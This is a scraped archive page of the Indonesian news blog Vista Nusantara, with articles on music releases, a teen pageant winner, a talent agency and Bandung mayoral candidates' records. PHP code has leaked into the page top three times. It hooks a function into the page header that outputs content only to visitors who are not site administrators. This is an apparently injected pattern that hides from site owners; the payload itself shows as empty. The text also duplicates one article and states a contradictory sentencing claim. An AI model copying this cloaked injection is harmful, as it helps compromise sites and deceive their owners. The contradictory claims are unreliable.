if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 225 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Rindu Musik? Dengarkan Single Baru Lambang, ‘Pergilah Dariku’

    VISTA NUSANTARA — Penyanyi solo, Lambang kembali menyapa pendengarnya dengan merilis karya terbaru berupa single yang diberi judul “Pergilah Dariku”. Mengangkat tema percintaan, lirik lagu ini berkisah tentang kekecewaan terhadap pasangan yang amat dicintai.


    Lewat keterangan tertulisnya, pemilik nama lengkap Herlambang Wicaksono ini mengatakan bahwa ide awal penggarapan single ini datang sewaktu seorang sahabatnya bercerita dan mencurahkan perasaan hatinya yang tengah kecewa.

    Dari curhatan tersebut, Lambang terinspirasi menulis lirik dan menjadi sebuah lagu yang demikian manis. Namun, ia sempat ragu untuk merekam karya ini. Belakangan, ia mulai berani menggarap lagu ini secara lebih serius dengan bantuan Rizal Andhika yang ia daulat sebagai arranger.

    “Setelah ketemu Rizal Andhika, dia yang menyakinkan bahwa lagu ini enak banget dan Rizal juga yang membantu mengisi aransemennya, maka lahirlah single ‘Pergilah Dariku’ ini,” ujar Lambang.

    Selain Rizal Andhika dari Devariz Record Jakarta, nama Jeje Guitaraddict juga turut dilibatkan Lambang dalam proses penggarapan single “Pergilah Dariku” untuk mengurusi proses mixing dan mastering.

    Lambang sendiri merupakan penyanyi yang telah berkarya di kancah permusikan Indonesia sejak tahun 2012 silam. Sebelum berkarier sebagai seorang solois, ia pernah tergabung dalam sebuah grup band bernama Bumi.

    Perjalanan hidup, sempat membawanya keluar dari industri musik dan menjalani bisnis di bidang transportasi. Lambang kemudian kembali memantapkan diri untuk kembali berkarier di kancah hiburan nasional sebagai penyanyi solo.

    Lambang tercatat pernah merilis sejumlah karya sebagai solois, di antaranya single bertajuk “Kejamnya Cintamu” pada 2012 silam, dan kemudian lagu “Untuk Indonesia”, serta beberapa tembang lainnya.

    Lambang berharap, single “Pergilah Dariku” bisa mendapat tempat di hati penikmat musik Indonesia. Ketika ditanya mengenai kemungkinan memasukkan lagu ini ke dalam album atau EP, ia mengaku belum memiliki rencana tersebut.


    “Aku masih mau fokus di single-single dulu. Semoga, lagu ‘Pergilah Dariku’ bisa mendapat respons positif dari pendengar,” tuturnya.

    Saat ini, single “Pergilah Dariku” milik Lambang sudah bisa didengarkan di berbagai platform pemutar musik digital.***
  • Showcase Perdana Kaleb J, Lagu-Lagu Favorit dan Momen Personal untuk Fans

    BANDUNG, VISTA NUSANTARA — Saat yang dinanti akhirnya tiba! Setelah penantian panjang selama ini, Kaleb J akhirnya akan mengadakan showcase secara intimate “Off Guard” yang sekaligus menjadi perayaan akan dirilisnya mini album “Off Guard” yang dirilis beberapa waktu lalu. “Aku seneng banget akhirnya bisa bikin intimate showcase ini!” ujar Kaleb J. “Dari dulu ingin banget bikin showcase sendiri dan akhirnya kesampaian juga di album ini,” tambahnya.


    Intimate showcase ini benar-benar dipersiapkan oleh Kaleb J dan team Passion Vibe secara matang dan mendetail bahkan sejak bulan Maret 2024. Bahkan sebenarnya, Kaleb J sudah siap untuk mengadakan mini konser, namun sebagai bentuk warming up, maka diadakanlah intimate showcase ini. Itulah mengapa, intimate showcase ini kemudian dapat diadakan di beberapa kota. Pada fase awal ini, Kaleb J memilih untuk menyapa para penikmat musiknya yang ada di Bogor pada tanggal 29 November 2024 dan Bandung pada tanggal 30 November 2024. “Rencananya Bogor dan Bandung adalah 2 kota pertama. Kota lainnya akan menyusul dan pastinya nanti aku dan Passion Vibe akan update lagi di social media untuk jadwal showcase di kota-kota lainnya,” ungkap Kaleb J.

    Tiket intimate showcase “Off Guard” dijual mulai dari Rp. 125.000 untuk harga Presale serta Rp. 250.000 untuk paket VIP. Pembeliannya dapa dilakukan melalui web passionvibe.id. Pada intimate showcase ini, Kaleb J menjanjikan sesuatu yang berbeda dari penampilan-penampilan sebelumnya. Dia bahkan menjanjikan moment intimate bersama para pendengar lagu-lagunya sehingga mereka dapat merasakan seolah Kaleb J sedang menyanyikan lagu-lagunya secara personal.

    Tentu, lagu yang dibawakan oleh Kaleb J di intimate showcase ini tidak hanya lagu-lagu yang ada di mini album “Off Guard” saja. Kaleb J juga akan membawakan lagu-lagu dia lainnya. “Aku berharap semua orang yang memang setiap hari dengerin lagu aku dan yang tiap kali aku post selalu like dan comment bisa hadir di intimate showcase ini, karena aku ingin banget kenal mereka secara langsung!” harap Kaleb J. Dapatkan tiket intimate showcase “Off Guard” dari Kaleb J dan sampai ketemu di Bogor dan Bandung akhir November ini!.***
  • Karya Terbaru Sheila on 7 ‘Memori Baik’ dan Harapan untuk Masa Depan

    VISTA NUSANTARAUsai enam tahun lalu merilis lagu ‘Film Favorit’, kini Sheila on 7 kembali mengeluarkan karya terbaru untuk menutup tahun 2024. Eross Candra, Akhdiyat Duta Modjo, dan Adam Muhammad Subarkah meluncurkan single anyar Sheila on 7 bertajuk ‘Memori Baik’, yang sudah mengudara di gerai-gerai musik digital pada Senin 25 November 2024. Untuk format video liriknya juga tersedia pada waktu yang sama di kanal YouTube Sheila on 7 Tv. Kemudian untuk video klipnya akan menyusul secepatnya.
    LAGU YANG DICIPTAKAN UNTUK ANAK
    Secara umum, ‘Memori Baik’ cukup berbeda dengan lagu-lagu Sheila on 7 lainnya. Jika sebelumnya tema lagu-lagu Sheila on 7 lebih didominasi tentang asmara, lagu ‘Memori Baik’ terasa lebih emosional karena menceritakan tentang rasa perhatian dan kasih sayang orang tua pada anaknya.
    “Kalau yang didengar sekarang memang itu spesifik ya. Bahwa orang tua pada saatnya nanti harus merelakan anaknya menjadi dewasa dan mempunyai jalan hidup sendiri. Intinya seperti itu,” ujar Eross mengawali.
    Ditambahkan oleh Duta, lirik ‘Memori Baik’ bisa ditafsirkan bahwa setiap orang, cepat atau lambat, harus mempersiapkan diri untuk legawa ketika suatu saat nanti orang-orang terdekat, apakah itu keluarga, sahabat, atau pun teman masa kecil, harus menjalani kehidupan ini dengan cerita dan cara mereka sendiri.
    “Kebetulan yang diceritakan di ‘Memori Baik’ adalah bagaimana orang tua berusaha untuk ikhlas menghadapi kenyataan bahwa anaknya telah tumbuh dan mulai merangkai perjuangan dan kisah hidupnya sendiri. Karena semuanya bisa saja berubah pada waktunya, dan pada akhirnya akan selalu bisa jadi memori, kan?” papar Duta.
    TERCIPTA SAAT SEMUANYA HARUS DI RUMAH
    Diceritakan oleh Eross, ‘Memori Baik’ dibuatnya sekitar empat tahun lalu, tepatnya saat pandemi melanda. Pada awal pembuatannya, liriknya justru bukan bercerita tentang memori orang tua pada anaknya, melainkan bercerita tentang hal lainnya.
    Kala itu, Eross yang kalut dengan situasi yang terjadi, secara pribadi juga mengkhawatirkan orang-orang terdekatnya, baik keluarganya sendiri maupun Sheila on 7.
    “Jadi memang sempat kepikiran, ‘Kalau band ini sudah nggak bisa lanjut lagi gimana?’. Memang kita sempat ada di fase itu. Besok nggak tahu kita akan seperti apa. Bukan cuma band ya, tapi semua lini. Nggak tahu, apakah masih ada hari esok atau nggak,” ujar Eross.
    “Jadi kepikirannya waktu itu adalah, apa pun yang terjadi Sheila on 7 akan tetap menjadi memori baik buat saya pribadi. Tentunya juga buat teman-teman yang lain,” tambah Eross.
    Namun belum sempat disempurnakan, materi lagu itu nyatanya tersimpan begitu saja sampai saat yang tepat tiba.
    Momentum Sheila on 7 dengan format baru seperti sekarang menjadi pemicu Eross untuk menawarkan ide lagu ‘Memori Baik’ kepada Duta dan Adam. Eross pun mulai mengubah liriknya dan menyempurnakannya bersama kedua temannya itu.
    “Saya berpikir, lagu ini mungkin akan relevan dengan kondisi sekarang kalau liriknya diubah. Akhirnya liriknya disesuaikan dengan kondisi kami saat ini, bahwa semua yang sudah kita lewati bisa jadi memori baik,” kata Eross.
    FEATURING AISHAMEGLIO
    Lagu ‘Memori Baik’ ini juga terasa spesial karena Sheila on 7 mengajak Aishameglio Duta Chiara, puteri sulung dari Duta. Sosok Aisha tentu tak asing, karena sejak awal tahun, ia hampir selalu ikut tampil bersama Sheila on 7 di panggung musik sebagai backing vocal (penyanyi latar).
    “Keikutsertaan Aisha itu jugalah yang membuat Eross ingat kalau dia punya materi lagu baru yang memang dipersiapkan untuk format featuring. Lagu itu tak lain dan tak bukan adalah ‘Memori Baik’,” ujar Adam menambahkan.
    Diakui Eross, sebenarnya ‘Memori Baik’ sejak awal memang ia siapkan untuk format featuring. Eross membayangkan, apa pun temanya, apa pun yang dibicarakan di situ, lagu itu nantinya tak dipresentasikan oleh satu orang saja.
    “Dan kenapa lagu ini sampai muncul ke permukaan dan diperdengarkan ke teman-teman lain, karena Aisha sudah ikut manggung bantuin Sheila on 7 jadi backing vocal. Dari situ saya mikir, ‘Oh iya, aku punya lagu yang konsepnya memang featuring, gitu’. Lalu, terjadilah apa yang kita dengarkan sekarang. Selamat menikmati. Semoga ‘Memori Baik’ bisa membuat hari-harimu menjadi lebih baik. Amin,” tutup Eross.
    FORMAT BARU SEKALIGUS MENCOBA PENGALAMAN MUSIKAL PERDANA DI JEPANG
    Terhitung sejak pertengahan tahun 2022, ada yang berbeda pada setiap penampilan panggung Sheila on 7. Wajah-wajah dan energi muda lebih mendominasi ketika Eross, Duta, dan Adam melakukan pertunjukan musik.
    Kini Sheila on 7 selalu dikawal Elang Nuraga (gitar akustik dan elektrik), Vicki Unggul (kibor), Bounty Ramdhan (drum), dan terakhir adalah Aishameglio Duta Chiara (penyanyi latar).
    Keempat musisi yang berstatus sebagai additional player tersebut bahkan turut andil menyukseskan konser besar Sheila on 7 ‘TUNGGU AKU DI’ yang berlokasi di enam kota besar Indonesia.
    Sejak selesainya rangkaian konser ‘TUNGGU AKU DI’, Sheila on 7 kemudian melanjutkan kegiatannya ke Jepang. Lawatan mereka ke Negeri Sakura itu untuk melakukan proses mixing-mastering lagu ‘Memori Baik’.
    Menurut Adam, pengalaman perdana mereka melakukan produksi karya di luar negeri adalah karena ide spontan dari Eross yang mengajak teman-temannya untuk rekaman dengan format yang belum pernah mereka lakukan sebelumnya.
    Kebetulan Eropa adalah salah satu tujuan awal mereka. Konsep yang ditawarkan Eross pun adalah rekaman live di Swiss atau Swedia, bukan rekaman multitrack seperti yang sudah-sudah.
    Eross ingin Sheila on 7 mencoba mengerjakan sesuatu yang di luar kebiasaan mereka. “Eross pernah nyeletuk, ‘Yuk, rekaman yuk. Tapi rekaman yang besok ganti suasana lah’. Adam juga sempat usul, ‘Gimana kalau rekamannya tetap di Indonesia aja, tapi nyewa villa di mana gitu’,” papar Duta.
    Namun ternyata opsi untuk rekaman di Eropa urung mereka realisasikan. Setelah melalui beberapa pertimbangan, akhirnya mereka mantap memilih Jepang untuk destinasi finishing produksi karya-karya baru mereka.
    “Akhirnya kami memilih Sony Music Studios Japan. Pertimbangannya jelas karena biaya, jarak, dan effort lainnya. Dan untuk Eropa, saat itu kami rasa belum memungkinkan untuk Sheila on 7,” ujar Adam.
    “Awalnya idenya memang kami rekaman single baru di Jepang. Cuma di tengah jalan, Duta justru memberi ide untuk melakukan proses mixing-mastering saja, rekamannya tetap dilakukan di Jogja,” kata Adam.
    Alasan untuk merekam semua instrumen dan vocal di Jogja adalah untuk mempersingkat waktu produksi agar lebih efisien. Akhirnya proses mixing dikerjakan oleh Yuta Yoneyama dan mastering oleh Hidekazu Sakai di Sony Music Studios, Akasaka, Minato City, Tokyo.
    “Yang membedakan secara signifikan menurut kami adalah mixing mastering-nya, karena itu kan berkaitan dengan taste si engineer. Makanya kami ingin coba pengalaman baru di sana,” tambah Adam.
    Selain melakukan proses mixing-mastering, Sheila on 7 juga sekaligus melakukan rekaman live performance video dari beberapa lagu mereka di studio yang sama. Pengalaman itu diakui mereka sangat berkesan.
    “Berasa beda aja, karena kalau take live kan emosinya sudah pasti lebih greget, sedangkan kalau tracking multitrack biasanya kan penuh kehati-hatian. Tracking live itu istilahnya ada sedikit cerobohnya, dan terkadang justru itu yang bikin suasananya jadi lebih hidup,” papar Adam.
    “Satu hal lagi, suasana di Jepang yang menyenangkan adalah soal equipment-nya. Alat-alat di sana kan bener-bener jadi impian, dalam arti musisi kan selalu ingin melihat alat-alat studio di negara yang lebih maju. Nah, itu yang aku rasakan. Alat-alatnya sangat memungkinkan sekali buat kita melakukan tracking live yang nyaman dengan kualitas yang sudah pasti terjamin,” ujar Eross.
    Duta juga menegaskan bahwa rilisnya ‘Memori Baik’ ini secara tidak langsung juga menjawab adanya sedikit anggapan, bahwa Sheila on 7 cukup nyaman mengandalkan karya-karya yang lama saja.
    “Kenyataannya, selama ini terutama pada masa-masa di rumah kemarin itu, kita tetap menabung karya baru kok, dan proses kreatif kami akan selalu berjalan selama band ini masih ada. Semoga ‘Memori Baik’ ini akan jadi awal cerah bagi karya-karya baru Sheila on 7 lainnya di masa mendatang,” imbuh Duta menutup obrolan.***
  • Kisah Sukses Nida Nuraini, Second Runner Up Duta Pariwisata Remaja Jawa Barat 2024

    BANDUNG, VISTA NUSANTARA — Nida Nuraini, remaja berusia 17 tahun, mencuri perhatian publik berkat prestasinya yang cemerlang di dunia modeling dan pariwisata. Lahir pada 27 Oktober 2007, Nida saat ini menempuh pendidikan kelas XI di SMAS Angkasa Husein Sastranegara Bandung.

    Sejak usia dini, Nida telah menunjukkan bakat luar biasa di bidang modeling. Hobinya yang meliputi modeling, berenang, dan ice skating mencerminkan sosoknya yang serba bisa. Tidak hanya berpartisipasi, ia juga berhasil mencetak prestasi membanggakan. Baru-baru ini, Nida berhasil menyabet gelar Second Runner Up Duta Pariwisata Remaja Jawa Barat 2024 serta penghargaan Best Catwalk Miss Teenager 2024.

    Nida mengungkapkan, dorongan utama yang membawanya ke dunia modeling adalah keinginan untuk mencoba hal baru dan mengeksplorasi dunia pageant yang ternyata memberikan banyak manfaat. “Hal yang mendorong saya untuk terjun di dunia model adalah mencoba hal baru dan dunia pageant. Bukan hanya tentang kecantikan, tetapi juga memberikan pendidikan yang luas, mengembangkan bakat, dan menginspirasi agar semua orang, terutama remaja, dapat mengembangkan bakatnya masing-masing,” ujar Nida.


    Keberhasilan Nida tidak lepas dari dukungan penuh kedua orang tuanya, Erna dan Erwan. “Orang tua saya selalu mendukung saya untuk terus berkembang dan percaya diri dalam mengejar mimpi saya,” katanya.

    Meski disibukkan dengan aktivitas modeling, Nida tetap menomorsatukan pendidikan. Ia berharap keberhasilannya dapat menjadi inspirasi bagi remaja Indonesia untuk tidak ragu mengejar mimpi tanpa melupakan tanggung jawab sebagai pelajar.


    “Harapan saya, tentunya bisa lebih maju, berkembang, dan menginspirasi banyak orang untuk sukses,” tambahnya dengan penuh semangat.

    Dengan kombinasi bakat, dedikasi, dan dukungan keluarga, masa depan cerah tampaknya telah menanti Nida Nuraini. Semoga ia terus mengharumkan nama Jawa Barat dan menjadi inspirasi bagi generasi muda Indonesia.***

  • PT Alfatih Delara Nusantara Luncurkan D’Alara, Wadah Talenta Muda Berbakat

    BANDUNG, VISTA NUSANTARAPT Alfatih Delara Nusantara secara resmi memperkenalkan D’Alara, sebuah manajemen talenta yang berfokus pada edukasi, pengembangan, dan pemberdayaan generasi muda di dunia fashion dan entertainment.
    Bertempat di Gedung Dibsite, Jalan Ranggamalela No. 11, Tamansari, Kota Bandung, D’Alara dirancang untuk menjadi wadah bagi para talenta muda berbakat, baik pemula maupun profesional, untuk mengeksplorasi dan mengasah potensi mereka.
    D’Alara berkomitmen untuk mencetak generasi talenta yang tidak hanya unggul dalam keterampilan teknis, tetapi juga memiliki kepribadian kuat dan karakter yang positif.
    Dengan mengusung visi untuk membangun bakat dari nol hingga mencapai potensi maksimal, D’Alara menyediakan pelatihan menyeluruh, mulai dari catwalk, public speaking, hingga theatrical dan make-up artist.
    “Di era digitalisasi ini, peluang di bidang produksi film, iklan, sinetron, dan platform digital semakin terbuka lebar. D’Alara hadir untuk membantu para talenta menguasai teknik promosi dan branding pribadi melalui media sosial serta pemasaran digital,” jelas Putri Nurhadini, Chief Executive Officer PT Alfatih Delara Nusantara.
    D’Alara menyediakan beragam layanan, termasuk:
    1. Kelas Edukasi: Pelatihan intensif seperti catwalk, public speaking, theatrical, hingga showcase bulanan dan produksi film pendek.
    2. Agency: Menyalurkan talenta terbaik yang telah menyelesaikan pelatihan dengan kontrak eksklusif.
    3. Talent Support: Kolaborasi dengan event organizer, fotografer dan klien untuk proyek komersial dan promosi.
    4. Branding Product: Kerja sama dengan klien untuk endorsement, iklan, dan promosi produk.
    Selain itu, D’Alara aktif menjalin kemitraan dengan berbagai pihak, termasuk perusahaan, vendor, dan rumah produksi, untuk memperluas kesempatan bagi talenta berbakat.
    Berbasis di pusat Kota Bandung, D’Alara memastikan aksesibilitas bagi talenta dari berbagai daerah. Dengan dukungan tim profesional yang terdiri dari Putri Nurhadini (CEO), Yayan Meidiana (COO) dan Steve Fanes (CFO), D’Alara siap memberikan pengalaman pelatihan yang berkualitas.
    Dengan peluncuran ini, D’Alara tidak hanya ingin menjadi pusat edukasi, tetapi juga pelopor dalam mencetak talenta muda di dunia modelling dan hiburan.
    Untuk informasi lebih lanjut, kunjungi @de_alara_nusantara di Instagram atau hubungi (+62) 813-2439-7273.***
  • Rekam Jejak Dandan Riza Wardana di Tengah Perebutan Kursi Wali Kota Bandung

    BANDUNG, VISTA NUSANTARA — Dandan Riza Wardana, calon Wali Kota Bandung 2024 dengan nomor urut 1, kembali mencuri perhatian publik. Namanya tak hanya dikenal karena kampanye yang gencar mengusung transparansi dan reformasi, tetapi juga karena kontroversi yang menyelimuti perjalanan kariernya di masa lalu.  


    Saat menjabat sebagai Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kota Bandung, Dandan sempat tersandung kasus hukum yang mengejutkan: dugaan pungutan liar (pungli). Kasus ini mencoreng reputasinya sebagai pejabat publik yang seharusnya menjunjung tinggi integritas. Akibatnya, Wali Kota Bandung kala itu, Ridwan Kamil, mengambil tindakan tegas dengan menonaktifkan Dandan dari jabatannya.  

    Langkah ini menjadi perbincangan hangat di berbagai kalangan. Sebagian besar mengapresiasi sikap Ridwan Kamil yang cepat dalam merespons isu tersebut, sementara yang lain mempertanyakan komitmen integritas Dandan di masa depan. “Ini langkah penting untuk menjaga kepercayaan publik terhadap pemerintahan,” ujar Emil, sapaan akrab Ridwan Kamil, saat mengumumkan keputusan tersebut.  

    Kini, di tengah persaingan menuju kursi Wali Kota Bandung, Dandan dihadapkan pada tantangan besar: membangun kembali kepercayaan publik. Pendukungnya menilai masa lalu adalah pelajaran berharga yang membentuk dirinya menjadi pemimpin yang lebih baik. “Pak Dandan telah berubah dan berkomitmen untuk membawa Bandung ke arah yang lebih baik,” ungkap salah satu pendukung setianya.  

    Namun, suara skeptis tetap menggema. Bagi banyak masyarakat, rekam jejak seorang pemimpin adalah cerminan dari integritasnya di masa depan. “Warga Bandung perlu melihat konsistensi antara visi-misi dan tindakan nyata. Sejarah menciptakan persepsi yang sulit diabaikan,” ujar seorang pengamat politik dari Universitas Padjadjaran.  

    Dandan sendiri mengklaim bahwa dirinya telah belajar dari masa lalu dan siap membawa perubahan. Kampanyenya kini sarat dengan janji transparansi, akuntabilitas, dan pemerintahan yang bersih. Meski begitu, pertanyaan besar tetap ada: apakah masyarakat Bandung dapat mempercayai seorang pemimpin yang pernah terjerat kasus pungli untuk membawa perubahan besar bagi kotanya?  

    Dalam dinamika politik yang semakin memanas, semua mata tertuju pada Dandan Riza Wardana. Akankah dia berhasil mengatasi skeptisisme dan memenangi hati warga Bandung, atau justru masa lalunya menjadi batu sandungan yang sulit dilewati? Waktu dan suara rakyat yang akan menjawab.***
  • Kontroversi Alih Fungsi RTH Tantangan Haru Suandaru di Pilkada Bandung 2024

    BANDUNG, VISTA NUSANTARA Kasus yang melibatkan Haru Suandaru, calon Wali Kota Bandung 2024 sekaligus Ketua DPW PKS Jawa Barat, kembali menjadi perhatian publik. Polemik ini bermula pada tahun 2021, saat muncul isu terkait alih fungsi lahan Ruang Terbuka Hijau (RTH) di Kota Bandung.  

    Proyek yang menjadi sorotan adalah pembangunan gedung parkir di kawasan Taman Lansia, Jl. Merdeka, Bandung. Sejumlah pihak menilai proyek ini mengurangi luas RTH yang seharusnya dilindungi. Kebijakan tersebut dianggap bertentangan dengan komitmen Pemerintah Kota Bandung yang selama ini mendukung pelestarian lingkungan dan memperluas ruang terbuka hijau sebagai bagian dari upaya menjaga kualitas hidup warganya. 

    Dugaan alih fungsi ruang terbuka hijau untuk infrastruktur non-RTH, seperti gedung parkir, menimbulkan kritik tajam. Aktivis lingkungan dan masyarakat menyoroti bahwa tindakan ini bertentangan dengan tujuan utama RTH untuk menjaga ekosistem kota dan memberikan manfaat lingkungan bagi warga.  

    Penolakan dari masyarakat dan organisasi lingkungan bermunculan. Mereka menilai pengurangan RTH akan memperburuk kualitas udara, mengurangi ruang publik, dan berdampak negatif pada keseimbangan ekosistem perkotaan.  

    Sebagai Ketua DPW PKS Jawa Barat saat itu, Haru Suandaru menjadi pusat perhatian. Meski demikian, ia membantah keterlibatan langsung dalam keputusan atau tindakan yang dinilai melanggar aturan tersebut. Ia menyatakan bahwa kebijakan terkait proyek tersebut berada di luar wewenangnya dan menegaskan komitmennya terhadap pelestarian lingkungan.  

    Meski kasus ini terjadi beberapa tahun lalu, isu tersebut berpotensi memengaruhi citra Haru Suandaru dalam pencalonannya sebagai Wali Kota Bandung pada 2024. Perdebatan tentang keseimbangan antara pembangunan infrastruktur dan pelestarian lingkungan tetap menjadi salah satu tantangan utama bagi pemimpin kota ini.***
  • Dandan Riza Wardana, Antara Harapan Baru dan Bayang-Bayang Masa Lalu

    BANDUNG, VISTA NUSANTARA — Dandan Riza Wardana, calon Wali Kota Bandung 2024 dengan nomor urut 1, kembali mencuri perhatian publik. Namanya tak hanya dikenal karena kampanye yang gencar mengusung transparansi dan reformasi, tetapi juga karena kontroversi yang menyelimuti perjalanan kariernya di masa lalu.  


    Saat menjabat sebagai Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kota Bandung, Dandan sempat tersandung kasus hukum yang mengejutkan: dugaan pungutan liar (pungli). Kasus ini mencoreng reputasinya sebagai pejabat publik yang seharusnya menjunjung tinggi integritas. Akibatnya, Wali Kota Bandung kala itu, Ridwan Kamil, mengambil tindakan tegas dengan menonaktifkan Dandan dari jabatannya.  

    Langkah ini menjadi perbincangan hangat di berbagai kalangan. Sebagian besar mengapresiasi sikap Ridwan Kamil yang cepat dalam merespons isu tersebut, sementara yang lain mempertanyakan komitmen integritas Dandan di masa depan. “Ini langkah penting untuk menjaga kepercayaan publik terhadap pemerintahan,” ujar Emil, sapaan akrab Ridwan Kamil, saat mengumumkan keputusan tersebut.  

    Kini, di tengah persaingan menuju kursi Wali Kota Bandung, Dandan dihadapkan pada tantangan besar: membangun kembali kepercayaan publik. Pendukungnya menilai masa lalu adalah pelajaran berharga yang membentuk dirinya menjadi pemimpin yang lebih baik. “Pak Dandan telah berubah dan berkomitmen untuk membawa Bandung ke arah yang lebih baik,” ungkap salah satu pendukung setianya.  

    Namun, suara skeptis tetap menggema. Bagi banyak masyarakat, rekam jejak seorang pemimpin adalah cerminan dari integritasnya di masa depan. “Warga Bandung perlu melihat konsistensi antara visi-misi dan tindakan nyata. Sejarah menciptakan persepsi yang sulit diabaikan,” ujar seorang pengamat politik dari Universitas Padjadjaran.  

    Dandan sendiri mengklaim bahwa dirinya telah belajar dari masa lalu dan siap membawa perubahan. Kampanyenya kini sarat dengan janji transparansi, akuntabilitas, dan pemerintahan yang bersih. Meski begitu, pertanyaan besar tetap ada: apakah masyarakat Bandung dapat mempercayai seorang pemimpin yang pernah terjerat kasus pungli untuk membawa perubahan besar bagi kotanya?  

    Dalam dinamika politik yang semakin memanas, semua mata tertuju pada Dandan Riza Wardana. Akankah dia berhasil mengatasi skeptisisme dan memenangi hati warga Bandung, atau justru masa lalunya menjadi batu sandungan yang sulit dilewati? Waktu dan suara rakyat yang akan menjawab.***
  • Sarung Majalaya Warnai Pemecahan Rekor ASN Jawa Barat

    BANDUNG, VISTA NUSANTARA Aparatur Sipil Negara (ASN) Kota Cimahi dari berbagai Organisasi Perangkat Daerah (OPD) mengikuti pemecahan Rekor MURI kategori pemakaian sarung tenun oleh ASN terbanyak 2024, di Lapangan Apel Kantor Pemerintah Kota Cimahi, Jumat (22/11/2024). 
    Kegiatan ini dilakukan serentak oleh ASN Lingkup Provinsi Jawa Barat, ASN Lingkup Kabupaten/Kota se-Jawa Barat, Kementerian Pertahanan, Kantor Perwakilan Bank Indonesia Jawa Barat dan Otoritas Jasa keuangan Provinsi Jawa Barat di seluruh pemerintah kabupaten dan kota di Jawa Barat. 
    Kegiatan yang digagas oleh Dinas Perdagangan dan Dinas Perdagangan dan Perindustrian Provinsi Jawa Barat dan Dinas Pariwisata dan Kebudayaan Provinsi Jawa Barat ini diselenggarakan dalam rangka mendukung Gerakan Nasional Bangga Buatan Indonesia (BBI) dan Bangga Berwisata di Indonesia (BBWI), serta melestarikan dan mempromosikan kain sarung Jawa Barat, khususnya sarung Majalaya. Kegiatan ini juga sekaligus untuk mendorong belanja produk UMKM Jawa Barat.
    “Ini adalah bentuk dukungan kita kepada Provinsi Jawa Barat. Program ini adalah program Pemda Provinsi Jawa Barat, untuk yang pertama adalah kaitannya dengan Bangga Buatan Indonesia yang kedua Bangga Berwisata di Indonesia. Kita mendukung program tersebut, karena targetnya adalah 30.000 ASN se-Provinsi Jawa Barat,” terang Kepala Bidang Perdagangan Disdagkorperin Kota Cimahi, Indra Bagjana.
    Indra menjelaskan, dengan turut berpartisipasinya ASN Kota Cimahi, jumlah peserta yang terlibat dalam Pemecahan Rekor MURI kali ini mencapai 44.000 orang, melebihi target awal sebanyak 30.000 orang peserta, “Jadi dari laporan terakhir ternyata ada kurang lebih 44.000 orang peserta yang ternyata jadi melebihi target. Di kota Cimahi sendiri melibatkan 400 ASN Kota Cimahi,” lanjutnya.
    Ia juga menjelaskan bahwa kegiatan hari ini selaras dengan aturan berpakaian ASN Pemprov Jawa Barat yang mengenakan busana muslim setiap tanggal 22 di setiap bulannya, “Di Pemprov Jawa Barat dikaitkan dengan Hari Santri, jadi setiap tanggal 22 menggunakan pakaian ala santri, salah satunya sarung. Di Pemkot Cimahi memang belum diterapkan, tapi bukan tidak mungkin kedepannya akan diterapkan hal yang sama. Nanti akan dikoordinasikan dengan Bagian Organisasi yang mengatur terkait pakaian dinas ASN, mudah-mudahan untuk ke depannya Pemkot Cimahi juga menerapkan tanggal 22 menggunakan busana muslim seperti di Pemprov Jawa Barat,” harapnya.
    Lebih lanjut, Indra menjelaskan terkait dukungan terhadap UMKM Kota Cimahi, pihaknya akan terus berupaya untuk mendukung UMKM Kota Cimahi agar mampu bersaing dengan UMKM lainnya, “Pemkot Cimahi memberi dukungan penuh pada UMKM. Kita bina, kita berikan pelatihan, kemudian juga kita promosikan, termasuk hari ini kita rangkaikan dengan acara bazzar. Ada Bazzar UMKM kuliner dan fashion hari ini karena memang temanya Bangga Buatan Indonesia,” tutupnya. (Bidang IKPS).***
  • Mantan Terpidana Korupsi, Layakkah Dandan Pimpin Kota Bandung?

    BANDUNG, VISTA NUSANTARA Nama Dandan Riza Wardana kembali menjadi perbincangan hangat setelah ia mencalonkan diri sebagai Wali Kota Bandung dalam Pilkada serentak 2024. Langkah politik ini tidak hanya menunjukkan ambisinya untuk memimpin kota, tetapi juga menghidupkan kembali ingatan publik akan catatan kelam yang pernah menjeratnya.
    Pada Januari 2017, Dandan terjaring operasi tangkap tangan (OTT) oleh Polrestabes Bandung. Ia diduga menerima suap melalui bawahannya untuk mempermudah proses perizinan usaha. Kasus ini mengguncang kariernya di pemerintahan, terlebih setelah majelis hakim Pengadilan Negeri Bandung memutuskan Dandan bersalah melanggar Pasal 11 Undang-Undang Tindak Pidana Korupsi (Tipikor). 
    Putusan pengadilan menjatuhkan hukuman dua tahun penjara dan denda Rp 50 juta atau subsider satu bulan kurungan. Hukuman ini lebih ringan dari tuntutan jaksa yang meminta 1,5 tahun penjara. Meski demikian, hakim menegaskan bahwa Dandan, sebagai pejabat publik, seharusnya menjadi teladan dalam pemberantasan korupsi.
    Setelah menjalani hukuman, Dandan memilih jalur berbeda dengan memasuki dunia bisnis. Ia menjabat sebagai Komisaris Utama di PT Jaswita Bumi Persada sejak 2020 dan PT Multazam Mulia sejak 2023. Namun, transformasi ini belum sepenuhnya memulihkan citra dirinya di mata masyarakat. Banyak pihak yang tetap mempertanyakan integritasnya, terutama menjelang kontestasi Pilkada 2024.
    Langkah Dandan untuk maju dalam Pilkada ini ditandai dengan pemasangan spanduk di berbagai lokasi strategis di Kota Bandung. Namun, alih-alih mendapatkan dukungan luas, kampanye tersebut justru mengundang kritik. Banyak pihak yang mempertanyakan apakah seorang mantan narapidana kasus korupsi pantas untuk memimpin Kota Bandung.
